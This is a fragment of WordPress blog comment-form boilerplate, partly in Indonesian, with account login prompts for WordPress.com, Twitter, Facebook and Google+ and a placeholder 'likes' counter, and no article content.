    You are commenting using your WordPress.com account. Logout / Ubah )

    Gambar Twitter

    You are commenting using your Twitter account. Logout / Ubah )

    Foto Facebook

    You are commenting using your Facebook account. Logout / Ubah )

    Foto Google+

    You are commenting using your Google+ account. Logout / Ubah )

    Connecting to %s

    %d blogger menyukai ini: